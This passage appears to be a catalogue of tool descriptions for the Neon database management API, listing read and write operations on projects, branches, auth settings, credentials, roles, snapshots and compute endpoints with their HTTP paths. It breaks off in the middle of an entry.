neon_get_projects_by_project_id_branches_by_branch_id_anonymized_status (read) — Retrieve anonymized branch status. Retrieves the current status of an anonymized branch, including its state and progress information. GET /projects/{project_id}/branches/{branch_id}/anonymized_status GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/anonymized_status. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth (read) — Retrieve Neon Auth details for the branch. Retrieves the Neon Auth integration details for the specified branch, including the auth provider type and integration status. GET /projects/{project_id}/branches/{branch_id}/auth GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_allow_localhost (read) — Retrieve localhost allow setting. Retrieves the localhost allow setting for the specified branch's Neon Auth integration. When enabled, authentication flows work from `localhost` without adding it to the redirect URI whitelist. GET /projects/{project_id}/branches/{branch_id}/auth/allow_localhost GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/allow_localhost. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_domains (read) — List domains in redirect_uri whitelist. Lists the trusted domains in the redirect URI whitelist for the specified branch. Only domains in this list are permitted as redirect targets after authentication. GET /projects/{project_id}/branches/{branch_id}/auth/domains GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/domains. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_email_and_password (read) — Retrieve email and password configuration. Retrieves the email and password authentication configuration for the specified branch's Neon Auth integration, including whether it is enabled and the email verification method. GET /projects/{project_id}/branches/{branch_id}/auth/email_and_password GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/email_and_password. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_email_provider (read) — Retrieve email provider configuration. Retrieves the email provider configuration for the specified branch's Neon Auth integration, including the provider type and server settings. GET /projects/{project_id}/branches/{branch_id}/auth/email_provider GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/email_provider. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_oauth_providers (read) — List OAuth providers for the branch. Lists the OAuth providers configured for the specified branch's Neon Auth integration. GET /projects/{project_id}/branches/{branch_id}/auth/oauth_providers GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/oauth_providers. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_plugins (read) — Retrieve Neon Auth plugin configurations. Returns all plugin configurations for Neon Auth in a single response. This endpoint aggregates organization, email provider, email and password, OAuth providers, and localhost settings. GET /projects/{project_id}/branches/{branch_id}/auth/plugins GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/plugins. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_plugins_phone_number (read) — Retrieve phone number plugin configuration. Returns the phone number plugin configuration for Neon Auth. The phone number plugin enables phone-based OTP authentication. GET /projects/{project_id}/branches/{branch_id}/auth/plugins/phone-number GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/plugins/phone-number. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_auth_webhooks (read) — Retrieve Neon Auth webhook configuration. Returns the webhook configuration for the specified branch's Neon Auth integration, including the endpoint URL and the events that trigger it. GET /projects/{project_id}/branches/{branch_id}/auth/webhooks GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/webhooks. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_backup_schedule (read) — Retrieve backup schedule. Returns the backup schedule for the specified branch, including the configured snapshot frequencies. GET /projects/{project_id}/branches/{branch_id}/backup_schedule GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/backup_schedule. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_buckets (read) — List buckets on the branch. Lists branchable object storage buckets visible on the specified branch, including those inherited from ancestor branches. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/buckets GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_buckets_by_bucket_name_objects (read) — List objects in a bucket. Lists objects visible in the named bucket on the specified branch, including those inherited from ancestor branches. Listing is served by the user's session (no customer S3 credentials required). GET /projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_compare_schema (read) — Compare database schema. Compares the schema from the specified database with another branch's schema. GET /projects/{project_id}/branches/{branch_id}/compare_schema GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/compare_schema. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_credentials (read) — List credentials on the branch. Returns metadata for customer-issued credentials on the branch. Secrets are never included. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/credentials GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/credentials. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_custom_domains (read) — List the custom domains on a branch. Lists all custom domains registered on the branch, across every target entity. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/custom-domains GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/custom-domains. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_data_api_by_database_name (read) — Retrieve Neon Data API configuration. Retrieves the Neon Data API configuration for the specified branch, including endpoint URL, enabled state, and database settings. GET /projects/{project_id}/branches/{branch_id}/data-api/{database_name} GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/data-api/{database_name}. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_databases (read) — List databases. Retrieves a list of databases for the specified branch. A branch can have multiple databases. GET /projects/{project_id}/branches/{branch_id}/databases GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/databases. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_databases_by_database_name (read) — Retrieve database details. Retrieves information about the specified database. GET /projects/{project_id}/branches/{branch_id}/databases/{database_name} GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/databases/{database_name}. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_endpoints (read) — List branch endpoints. Retrieves a list of compute endpoints for the specified branch. Neon permits only one read-write compute endpoint per branch. A branch can have multiple read-only compute endpoints. GET /projects/{project_id}/branches/{branch_id}/endpoints GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/endpoints. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_functions (read) — List functions on the branch. Lists functions on the specified branch. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/functions GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/functions. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_functions_by_slug (read) — Get function details. Returns the function identified by its slug. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/functions/{slug} GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/functions/{slug}. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_logs_fields (read) — List branch log fields. Lists the low-cardinality log fields observed on this branch whose distinct values can be discovered with the log field-values endpoint. GET /projects/{project_id}/branches/{branch_id}/logs/fields GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/logs/fields. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_logs_fields_by_field_name_values (read) — List branch log field values. Lists the distinct values observed for a low-cardinality log field in the requested time range. GET /projects/{project_id}/branches/{branch_id}/logs/fields/{field_name}/values GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/logs/fields/{field_name}/values. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_masking_rules (read) — Retrieve masking rules. Retrieves the masking rules for the specified anonymized branch. Masking rules define how sensitive data should be anonymized using PostgreSQL Anonymizer. **Note**: This endpoint is currently in Beta. GET /projects/{project_id}/branches/{branch_id}/masking_rules GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/masking_rules. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_roles (read) — List roles. Retrieves a list of Postgres roles from the specified branch. GET /projects/{project_id}/branches/{branch_id}/roles GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_roles_by_role_name (read) — Retrieve role details. Retrieves details about the specified role. In Neon, the terms "role" and "user" are synonymous. GET /projects/{project_id}/branches/{branch_id}/roles/{role_name} GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles/{role_name}. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_roles_by_role_name_reveal_password (read) — Retrieve role password. Retrieves the password for the specified Postgres role, if possible. GET /projects/{project_id}/branches/{branch_id}/roles/{role_name}/reveal_password GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles/{role_name}/reveal_password. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_schema (read) — Retrieve database schema. Retrieves the database schema. Specify `lsn` or `timestamp` (not both) to read at a point in time; omit both to read from the database's head. GET /projects/{project_id}/branches/{branch_id}/schema GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/schema. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_storage (read) — Get branch object storage state. Returns whether branchable object storage is usable for the specified branch. GET /projects/{project_id}/branches/{branch_id}/storage GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/storage. Scopes: api. neon_get_projects_by_project_id_branches_count (read) — Retrieve number of branches. Retrieves the total number of branches in the specified project. Supports an optional `search` parameter to count branches matching a name filter. GET /projects/{project_id}/branches/count GET /api/v1/neon/projects/{project_id}/branches/count. Scopes: api. neon_get_projects_by_project_id_connection_uri (read) — Retrieve connection URI. Retrieves a connection URI for the specified database. The URI uses the standard PostgreSQL connection string format. Set `pooled=true` to include the `-pooler` suffix for a connection pooler URI. GET /projects/{project_id}/connection_uri GET /api/v1/neon/projects/{project_id}/connection_uri. Scopes: api. neon_get_projects_by_project_id_endpoints (read) — List compute endpoints. Retrieves a list of compute endpoints for the specified project. A compute endpoint is a Neon compute instance. GET /projects/{project_id}/endpoints GET /api/v1/neon/projects/{project_id}/endpoints. Scopes: api. neon_get_projects_by_project_id_endpoints_by_endpoint_id (read) — Retrieve compute endpoint details. Retrieves information about the specified compute endpoint. A compute endpoint is a Neon compute instance. An `endpoint_id` has an `ep-` prefix. GET /projects/{project_id}/endpoints/{endpoint_id} GET /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}. Scopes: api. neon_get_projects_by_project_id_jwks (read) — List JWKS URLs. Returns the JWKS URLs available for verifying JWTs used as the authentication mechanism for the specified project. GET /projects/{project_id}/jwks GET /api/v1/neon/projects/{project_id}/jwks. Scopes: api. neon_get_projects_by_project_id_members (read) — List org members and their project roles. Lists organization members and their per-project roles for an org-owned project. Returns 404 when the project is not org-owned, per-project role management is disabled, or the caller has no access. GET /projects/{project_id}/members GET /api/v1/neon/projects/{project_id}/members. Scopes: api. neon_get_projects_by_project_id_operations (read) — List operations. Retrieves a list of operations for the specified Neon project. The number of operations returned can be large. To paginate the response, issue an initial request with a `limit` value. GET /projects/{project_id}/operations GET /api/v1/neon/projects/{project_id}/operations. Scopes: api. neon_get_projects_by_project_id_operations_by_operation_id (read) — Retrieve operation details. Retrieves details for the specified operation. An operation is an action performed on a Neon project resource. GET /projects/{project_id}/operations/{operation_id} GET /api/v1/neon/projects/{project_id}/operations/{operation_id}. Scopes: api. neon_get_projects_by_project_id_permissions (read) — List project access. Retrieves details about users who have access to the project, including the permission `id`, the granted-to email address, and the date project access was granted. GET /projects/{project_id}/permissions GET /api/v1/neon/projects/{project_id}/permissions. Scopes: api. neon_get_projects_by_project_id_snapshots (read) — List project snapshots. Lists the snapshots for the specified project. Each snapshot represents a point-in-time backup of the project data. GET /projects/{project_id}/snapshots GET /api/v1/neon/projects/{project_id}/snapshots. Scopes: api. neon_get_projects_by_project_id_vpc_endpoints (read) — List VPC endpoint restrictions. Lists VPC endpoint restrictions for the specified Neon project. GET /projects/{project_id}/vpc_endpoints GET /api/v1/neon/projects/{project_id}/vpc_endpoints. Scopes: api. neon_get_projects_shared (read) — List shared projects. Retrieves a list of projects shared with your Neon account. GET /projects/shared GET /api/v1/neon/projects/shared. Scopes: api. neon_get_regions (read) — List supported regions. Lists supported Neon regions. **Note:** Not all regions are available to all organizations. Pass the `org_id` parameter to get an accurate list of regions available to your organization. GET /regions GET /api/v1/neon/regions. Scopes: api. neon_get_users_me (read) — Retrieve current user details. Retrieves information about the currently authenticated Neon user, including account identifiers, plan details, and linked auth accounts. GET /users/me GET /api/v1/neon/users/me. Scopes: api. neon_get_users_me_organizations (read) — List organizations for the current user. Retrieves the organizations that the currently authenticated user belongs to. GET /users/me/organizations GET /api/v1/neon/users/me/organizations. Scopes: api. neon_patch_organizations_by_org_id_members_by_member_id (write) — Update role for organization member. Updates the role of an existing member in the specified organization. The requested role must be valid for the organization. Only organization admins can call this endpoint. PATCH /organizations/{org_id}/members/{member_id} PATCH /api/v1/neon/organizations/{org_id}/members/{member_id}. Scopes: api. neon_patch_projects_by_project_id (write) — Update project. Updates the specified project. Configurable properties include the project name, default compute settings, history retention period, and IP allowlist. PATCH /projects/{project_id} PATCH /api/v1/neon/projects/{project_id}. Scopes: api. neon_patch_projects_by_project_id_auth_email_server (write) — Update email server configuration. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/email_provider` instead. Removal scheduled for March 1, 2026. PATCH /projects/{project_id}/auth/email_server PATCH /api/v1/neon/projects/{project_id}/auth/email_server. Scopes: api. neon_patch_projects_by_project_id_auth_oauth_providers_by_oauth_provider_id (write) — Update OAuth provider. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id}` instead. Removal scheduled for March 1, 2026. PATCH /projects/{project_id}/auth/oauth_providers/{oauth_provider_id} PATCH /api/v1/neon/projects/{project_id}/auth/oauth_providers/{oauth_provider_id}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id (write) — Update branch. Updates the specified branch. PATCH /projects/{project_id}/branches/{branch_id} PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_allow_localhost (write) — Update localhost allow setting. Updates the localhost allow setting for the specified branch's Neon Auth integration. When enabled, authentication flows work from `localhost` without adding it to the redirect URI whitelist. PATCH /projects/{project_id}/branches/{branch_id}/auth/allow_localhost PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/allow_localhost. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_config (write) — Update auth configuration. Updates the auth configuration for the branch. Currently supports updating the application name used in auth emails. PATCH /projects/{project_id}/branches/{branch_id}/auth/config PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/config. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_email_and_password (write) — Update email and password configuration. Updates the email and password authentication configuration for the specified branch's Neon Auth integration. Only the fields provided in the request body are updated. PATCH /projects/{project_id}/branches/{branch_id}/auth/email_and_password PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/email_and_password. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_email_provider (write) — Update email provider configuration. Updates the email provider configuration for the specified branch's Neon Auth integration. The email provider handles transactional messages such as verification emails and password reset links. PATCH /projects/{project_id}/branches/{branch_id}/auth/email_provider PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/email_provider. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_oauth_providers_by_oauth_provider_id (write) — Update OAuth provider. Updates an OAuth provider for the specified project. PATCH /projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id} PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_plugins_magic_link (write) — Update magic link plugin configuration. Updates the magic link plugin configuration for Neon Auth. The magic link plugin enables passwordless authentication via email magic links. PATCH /projects/{project_id}/branches/{branch_id}/auth/plugins/magic-link PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/plugins/magic-link. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_plugins_organization (write) — Update organization plugin configuration. Updates the organization plugin configuration for Neon Auth. The organization plugin enables multi-tenant organization support. PATCH /projects/{project_id}/branches/{branch_id}/auth/plugins/organization PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/plugins/organization. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_auth_plugins_phone_number (write) — Update phone number plugin configuration. Updates the phone number plugin configuration for Neon Auth. Only the fields provided in the request body are updated; omitted fields retain their current values. PATCH /projects/{project_id}/branches/{branch_id}/auth/plugins/phone-number PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/plugins/phone-number. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_data_api_by_database_name (write) — Update Neon Data API. Updates the Neon Data API configuration for the specified branch. You can optionally provide settings to update the Data API configuration. PATCH /projects/{project_id}/branches/{branch_id}/data-api/{database_name} PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/data-api/{database_name}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_databases_by_database_name (write) — Update database. Updates the specified database in the branch. PATCH /projects/{project_id}/branches/{branch_id}/databases/{database_name} PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/databases/{database_name}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_functions_by_slug (write) — Update a function. Updates the function's mutable metadata — currently only the display `name`. A string sets the display name; `null` clears it, after which the function's `name` falls back to its slug. PATCH /projects/{project_id}/branches/{branch_id}/functions/{slug} PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/functions/{slug}. Scopes: api. neon_patch_projects_by_project_id_branches_by_branch_id_masking_rules (write) — Update masking rules. Updates the masking rules for the specified anonymized branch. Masking rules define how sensitive data should be anonymized using PostgreSQL Anonymizer. **Note**: This endpoint is currently in Beta. PATCH /projects/{project_id}/branches/{branch_id}/masking_rules PATCH /api/v1/neon/projects/{project_id}/branches/{branch_id}/masking_rules. Scopes: api. neon_patch_projects_by_project_id_endpoints_by_endpoint_id (write) — Update compute endpoint. Updates the specified compute endpoint. An `endpoint_id` has an `ep-` prefix. A `branch_id` has a `br-` prefix. PATCH /projects/{project_id}/endpoints/{endpoint_id} PATCH /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}. Scopes: api. neon_patch_projects_by_project_id_snapshots_by_snapshot_id (write) — Update snapshot. Updates the specified snapshot. PATCH /projects/{project_id}/snapshots/{snapshot_id} PATCH /api/v1/neon/projects/{project_id}/snapshots/{snapshot_id}. Scopes: api. neon_post_api_keys (write) — Create API key. Creates an API key. The `key_name` is a user-specified name for the key. Returns an `id` and `key`; the `key` is a randomly generated, 64-bit token required to access the Neon API. POST /api_keys POST /api/v1/neon/api_keys. Scopes: api. neon_post_organizations_by_org_id_api_keys (write) — Create organization API key. Creates an API key for the specified organization. The `key_name` is a user-specified name for the key. POST /organizations/{org_id}/api_keys POST /api/v1/neon/organizations/{org_id}/api_keys. Scopes: api. neon_post_organizations_by_org_id_invitations (write) — Create organization invitations. Creates invitations for a specific organization. If the invited user has an existing account, they automatically join as a member. POST /organizations/{org_id}/invitations POST /api/v1/neon/organizations/{org_id}/invitations. Scopes: api. neon_post_organizations_by_org_id_vpc_region_by_region_id_vpc_endpoints_by_vpc_endpoint_id (write) — Assign or update VPC endpoint. Assigns a VPC endpoint to a Neon organization or updates its existing assignment. POST /organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id} POST /api/v1/neon/organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id}. Scopes: api. neon_post_organizations_by_source_org_id_projects_transfer (write) — Transfer projects between organizations. Transfers selected projects, identified by their IDs, from your organization to another specified organization. POST /organizations/{source_org_id}/projects/transfer POST /api/v1/neon/organizations/{source_org_id}/projects/transfer. Scopes: api. neon_post_projects (write) — Create project. Creates a Neon project within an organization. If using a personal API key, include the `org_id` parameter to specify which organization to create the project in. POST /projects POST /api/v1/neon/projects. Scopes: api. neon_post_projects_auth_create (write) — Create Neon Auth integration. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth` instead. Removal scheduled for March 1, 2026. Use this endpoint if the frontend integration flow can't be used. POST /projects/auth/create POST /api/v1/neon/projects/auth/create. Scopes: api. neon_post_projects_auth_keys (write) — Create Auth Provider SDK keys. Generates SDK or API Keys for the auth provider. POST /projects/auth/keys POST /api/v1/neon/projects/auth/keys. Scopes: api. neon_post_projects_auth_transfer_ownership (write) — Transfer Neon-managed auth project to your own account. Transfers ownership of your Neon-managed auth project to your own auth provider account. POST /projects/auth/transfer_ownership POST /api/v1/neon/projects/auth/transfer_ownership. Scopes: api. neon_post_projects_auth_user (write) — Create new auth user. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/users` instead. Removal scheduled for March 1, 2026. POST /projects/auth/user POST /api/v1/neon/projects/auth/user. Scopes: api. neon_post_projects_by_project_id_auth_domains (write) — Add trusted redirect URI domain. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/domains` instead. Removal scheduled for March 1, 2026. POST /projects/{project_id}/auth/domains POST /api/v1/neon/projects/{project_id}/auth/domains. Scopes: api. neon_post_projects_by_project_id_auth_oauth_providers (write) — Add an OAuth provider. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/oauth_providers` instead. Removal scheduled for March 1, 2026. POST /projects/{project_id}/auth/oauth_providers POST /api/v1/neon/projects/{project_id}/auth/oauth_providers. Scopes: api. neon_post_projects_by_project_id_branch_anonymized (write) — Create anonymized branch. Creates a new branch with anonymized data using PostgreSQL Anonymizer for static masking. This allows developers to work with masked production data. POST /projects/{project_id}/branch_anonymized POST /api/v1/neon/projects/{project_id}/branch_anonymized. Scopes: api. neon_post_projects_by_project_id_branches (write) — Create branch. Creates a branch in the specified project. No request body is required, but you can specify one to create a compute endpoint or select a non-default parent branch. POST /projects/{project_id}/branches POST /api/v1/neon/projects/{project_id}/branches. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_anonymize (write) — Start anonymization. Starts the anonymization process for an anonymized branch that is in the initialized, error, or anonymized state. POST /projects/{project_id}/branches/{branch_id}/anonymize POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/anonymize. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth (write) — Enable Neon Auth for the branch. Enables Neon Auth for the specified branch by connecting it to an authentication provider. POST /projects/{project_id}/branches/{branch_id}/auth POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth_domains (write) — Add domain to redirect_uri whitelist. Adds a domain to the redirect URI whitelist for the specified branch. Only domains in this list are permitted as redirect targets after authentication. POST /projects/{project_id}/branches/{branch_id}/auth/domains POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/domains. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth_email_provider_test (write) — Send test email using the saved email provider. Sends a test email using the branch's already-saved custom SMTP configuration. POST /projects/{project_id}/branches/{branch_id}/auth/email_provider/test POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/email_provider/test. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth_oauth_providers (write) — Add an OAuth provider. Adds an OAuth provider configuration to the specified branch's Neon Auth integration. After adding, users can authenticate using the configured provider. POST /projects/{project_id}/branches/{branch_id}/auth/oauth_providers POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/oauth_providers. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth_send_test_email (write) — Send test email. Sends a test email using the SMTP server settings supplied in the request body to verify connectivity and credentials. Deprecated: to test a branch's already-saved configuration, use `sendNeonAuthEmailProviderTest`, which reuses the stored SMTP password server-side so the caller never has to re-supply (or be able to read) it. POST /projects/{project_id}/branches/{branch_id}/auth/send_test_email POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/send_test_email. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_auth_users (write) — Create new auth user. Creates a new user in the Neon Auth user directory for the specified branch. POST /projects/{project_id}/branches/{branch_id}/auth/users POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/users. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_buckets (write) — Create a bucket on the branch. Creates a new branchable object storage bucket on the specified branch. Buckets are managed by the Neon Platform branchable object storage service. **Note**: This endpoint is currently in Beta. POST /projects/{project_id}/branches/{branch_id}/buckets POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_buckets_by_bucket_name_objects_by_object_key_presign (write) — Presign an upload or download for an object in a bucket. Returns a presigned URL that transfers bytes directly to or from the object's bucket on the specified branch, without the caller ever handling S3 credentials. POST /projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects/{object_key}/presign POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects/{object_key}/presign. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_credentials (write) — Issue a scoped credential on the branch. Issues a new scoped service credential anchored to the specified branch. The response carries `api_token` and `s3_secret_access_key` exactly once — they are not stored server-side. POST /projects/{project_id}/branches/{branch_id}/credentials POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/credentials. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_credentials_by_token_id_reveal (write) — Reveal a credential's secrets. Returns the live `api_token` and `s3_secret_access_key` of an existing credential, so a credential whose issuance response was lost can be recovered without minting a new one. POST /projects/{project_id}/branches/{branch_id}/credentials/{token_id}/reveal POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/credentials/{token_id}/reveal. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_credentials_by_token_id_rotate (write) — Rotate a credential's secrets. Replaces the secret material on an existing scoped credential in place. POST /projects/{project_id}/branches/{branch_id}/credentials/{token_id}/rotate POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/credentials/{token_id}/rotate. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_custom_domains (write) — Register a custom domain on a branch. Registers a customer-owned domain (for example `dashboard.acme.com`) on the branch and points it at a target entity, chosen by `entity_type` + `entity_id`. POST /projects/{project_id}/branches/{branch_id}/custom-domains POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/custom-domains. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_data_api_by_database_name (write) — Create Neon Data API. Creates a new instance of Neon Data API in the specified branch. The Data API exposes a REST interface over the branch database. POST /projects/{project_id}/branches/{branch_id}/data-api/{database_name} POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/data-api/{database_name}. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_databases (write) — Create database. Creates a database in the specified branch. A branch can have multiple databases. POST /projects/{project_id}/branches/{branch_id}/databases POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/databases. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_finalize_restore (write) — Finalize branch restore from snapshot. Finalize the restore operation for a branch created from a snapshot. This operation updates the branch so it functions as the original branch it replaced. POST /projects/{project_id}/branches/{branch_id}/finalize_restore POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/finalize_restore. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_logs_query (write) — Query branch logs. Returns logs emitted by services running on the specified branch, ordered by timestamp according to `sort_order`. POST /projects/{project_id}/branches/{branch_id}/logs/query POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/logs/query. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_restore (write) — Restore branch to a historical state. Restores a branch to an earlier state in its own or another branch's history by specifying an LSN or timestamp. Creates a new branch from the historical state. POST /projects/{project_id}/branches/{branch_id}/restore POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/restore. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_roles (write) — Create role. Creates a Postgres role in the specified branch. Connections established to the active compute endpoint will be dropped. POST /projects/{project_id}/branches/{branch_id}/roles POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_roles_by_role_name_reset_password (write) — Reset role password. Resets the password for the specified Postgres role. Returns a new password and operations. The new password is ready to use when the last operation finishes. POST /projects/{project_id}/branches/{branch_id}/roles/{role_name}/reset_password POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles/{role_name}/reset_password. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_set_as_default (write) — Set branch as default. Sets the specified branch as the project's default branch. The default designation is automatically removed from the previous default branch. POST /projects/{project_id}/branches/{branch_id}/set_as_default POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/set_as_default. Scopes: api. neon_post_projects_by_project_id_branches_by_branch_id_snapshot (write) — Create snapshot. Creates a snapshot from the specified branch. This operation may initiate an asynchronous process. POST /projects/{project_id}/branches/{branch_id}/snapshot POST /api/v1/neon/projects/{project_id}/branches/{branch_id}/snapshot. Scopes: api. neon_post_projects_by_project_id_endpoints (write) — Create compute endpoint. Creates a compute endpoint for the specified branch. A compute endpoint is a Neon compute instance. There is a maximum of one read-write compute endpoint per branch. POST /projects/{project_id}/endpoints POST /api/v1/neon/projects/{project_id}/endpoints. Scopes: api. neon_post_projects_by_project_id_endpoints_by_endpoint_id_restart (write) — Restart compute endpoint. Restarts the specified compute endpoint by immediately suspending it and then starting it again. An `endpoint_id` has an `ep-` prefix. POST /projects/{project_id}/endpoints/{endpoint_id}/restart POST /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}/restart. Scopes: api. neon_post_projects_by_project_id_endpoints_by_endpoint_id_start (write) — Start compute 